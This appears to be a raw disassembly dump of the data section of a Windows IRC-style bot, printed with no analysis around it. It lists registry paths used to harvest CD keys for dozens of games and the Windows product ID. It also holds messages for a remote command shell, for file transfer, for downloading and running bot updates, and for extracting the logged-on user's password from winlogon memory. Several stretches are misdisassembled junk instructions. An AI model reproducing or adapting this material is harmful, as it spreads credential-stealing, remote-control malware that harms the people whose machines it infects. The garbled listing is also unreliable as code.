dup(0) dd 80000002h, 4371CCh, 4373F4h, 4371B4h, 2 dup(0) dd 80000002h, 437180h, 4373F4h, 437168h, 2 dup(0) dd 80000002h, 437150h, 4373F4h, 437138h, 2 dup(0) dd 80000002h, 4370FCh, 43D158h, 4370ECh, 2 dup(0) dd 80000002h, 4370B4h, 43D158h, 4370A0h, 2 dup(0) dd 80000002h, 437054h, 43D158h, 437034h, 2 dup(0) dd 80000002h, 436FE4h, 43D158h, 436FB8h, 2 dup(0) dd 80000002h, 436F7Ch, 43D158h, 436F68h, 2 dup(0) dd 80000002h, 436F30h, 43D158h, 436F20h, 2 dup(0) dd 80000002h, 436ED0h, 43D158h, 436EA4h, 2 dup(0) dd 80000002h, 436E64h, 43D158h, 436E48h, 2 dup(0) dd 80000002h, 436E18h, 43D158h, 436DF8h, 2 dup(0) dd 80000002h, 436DBCh, 43D158h, 436DA8h, 2 dup(0) dd 80000002h, 436D60h, 43D158h, 436D40h, 2 dup(0) dd 80000002h, 436CECh, 43D158h, 436CBCh, 2 dup(0) dd 80000002h, 436C6Ch, 43D158h, 436C40h, 2 dup(0) dd 80000002h, 436C00h, 436BF8h, 436BD8h, 2 dup(0) dd 80000002h, 436B94h, 43D158h, 436B78h, 2 dup(0) dd 80000002h, 436B2Ch, 43D158h, 436B08h, 2 dup(0) dd 80000002h, 436AD4h, 43D158h, 436AC8h, 2 dup(0) dd 80000002h, 436A94h, 43D158h, 436A88h, 2 dup(0) dd 80000002h, 436A54h, 43D158h, 436A48h, 2 dup(0) dd 80000002h, 436A14h, 43D158h, 436A08h, 2 dup(0) dd 80000002h, 4369CCh, 43D158h, 4369B8h, 2 dup(0) dd 80000002h, 43697Ch, 43D158h, 436968h, 2 dup(0) dd 80000002h, 436938h, 4373F4h, 43691Ch, 2 dup(0) dd 80000002h, 4368FCh, 4368F4h, 4368D0h, 2 dup(0) dd 80000002h, 4368B4h, 4368F4h, 436894h, 2 dup(0) dd 80000002h, 436874h, 4368F4h, 436850h, 2 dup(0) dd 80000002h, 436838h, 4368F4h, 436834h, 2 dup(0) dd 80000002h, 436818h, 436808h, 436800h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_4367CC[eax], al dec esp retn 42h ; --------------------------------------------------------------------------- dd offset aHiddenDangerou ; "Hidden & Dangerous 2" align 10h dd 80000002h, 436778h, 43676Ch, 436744h, 436734h, 436720h dd 80000002h, 4366FCh, 4366F0h, 4366DCh, 4366CCh, 4366C4h dd 80000002h, 4366FCh, 4366F0h, 436698h, 4366CCh, 436690h dd 80000002h, 4366FCh, 4366F0h, 436660h, 4366CCh, 436658h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365D4o align 4 byte_4367CC db 53h ; DATA XREF: ___:004365CAw aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset aQTj ; "QÃâj" aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043622Co aCdkey db 'CDKey',0 ; DATA XREF: ___:00436228o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_436224o align 4 asc_437424: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437428 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_4374A4 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_4374C8 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374E0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_43750C db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437530 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437548 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437560 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437580 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4375A4 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_4375C8 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375F4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437614 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437644 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437674 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4376A0 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376D4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_437718 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437734 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437794 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_4377C0 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377E8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_437810 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437860 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437864 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437878 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4378B4 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_4378F0 dd offset byte_5C3A41 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437960 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437994 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_4379C0 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379F8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A54 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset byte_4E0049 dd 0 off_437A6C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B30 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B7C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437BCC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437C20 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- rol byte ptr [edi-5397FFBDh], 1 inc edx add [eax], bh retn ; --------------------------------------------------------------------------- inc edx add [edx+eax*8-7833FFBEh], ch inc ebx add [eax+80042AAh], ch retn ; --------------------------------------------------------------------------- inc edx add [edx+ebp*4-52FBFFBEh], al inc edx add [eax], dl retn ; --------------------------------------------------------------------------- dw 42h dd offset aD ; "d" dd offset dword_4387C8 dd offset dword_4387C4 dd offset dword_4387C0 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_4387BC dd offset dword_4387B8 dd offset dword_4387B4 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_4387B0 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4387AC dd offset dword_4387A8 dd offset dword_4387A4 dd offset dword_4387A0 dd offset dword_43879C dd offset word_438798 dd offset dword_438794 dd offset aI_0 ; "I" dd offset dword_438790 dd offset dword_43878C dd offset aA_0 ; "A" dd offset dword_438788 dd offset dword_438784 dd offset dword_438780 dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset dword_438768 dd offset dword_438764 dd offset dword_438760 dd offset dword_43875C dd offset dword_438758 dd offset word_438754 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384EC dd offset off_4384E8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438354 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437F20 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" ; --------------------------------------------------------------------------- aam 81h inc ebx add ah, cl add dword ptr [ebx+0], offset aSick ; "sick}}" rol byte ptr [ecx-7E47FFBDh], 43h add [eax+2C004387h], dh lodsb inc edx add [edi+eax*8], dh inc edx add [eax-54h], ch inc edx add al, cl xchg eax, [ebx+0] les eax, [edi-783FFFBDh] inc ebx add [eax], cl retn ; --------------------------------------------------------------------------- dw 42h dd offset dword_42B52C dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_4387BC dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" ; --------------------------------------------------------------------------- lodsb retn 42h ; --------------------------------------------------------------------------- dd offset aU ; "u" dd offset aV ; "v" dd offset dword_4387D0 dd offset dword_4387B4 dd offset dword_4387CC dd offset dword_4387B8 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; 